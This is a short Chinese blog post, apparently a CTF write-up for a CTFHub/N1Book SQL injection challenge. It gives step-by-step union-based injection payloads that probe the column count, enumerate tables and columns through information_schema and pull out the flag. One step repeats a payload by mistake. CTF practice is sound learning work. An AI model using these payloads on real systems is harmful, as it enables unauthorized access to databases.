CTFHub_N1Book-SQL注入-1(union注入)

 
更多

N1Book-第一章Web入门-CTF中的SQL注入-SQL注入-1

writeup:

1.确认是字符型注入
1'            #无回显
1' --+        #有回显

2.order by确认共有3列
1' order by 3 --+    #有回显
1' order by 3 --+    #无回显


2.union注入,确认显示位
-1' union select 1,2,3 --+    #回显2 3

3.获取表名:fl4g,notes
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

4.获取字段名:fllllag
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+

5.获取flag
-1' union select 1,2,fllllag from fl4g --+

最终拿到flag

打赏

本文固定链接: https://www.cxy163.net/archives/4738 | 绝缘体

该日志由 绝缘体.. 于 2022年03月24日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: CTFHub_N1Book-SQL注入-1(union注入) | 绝缘体
关键字: , , , ,

CTFHub_N1Book-SQL注入-1(union注入):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter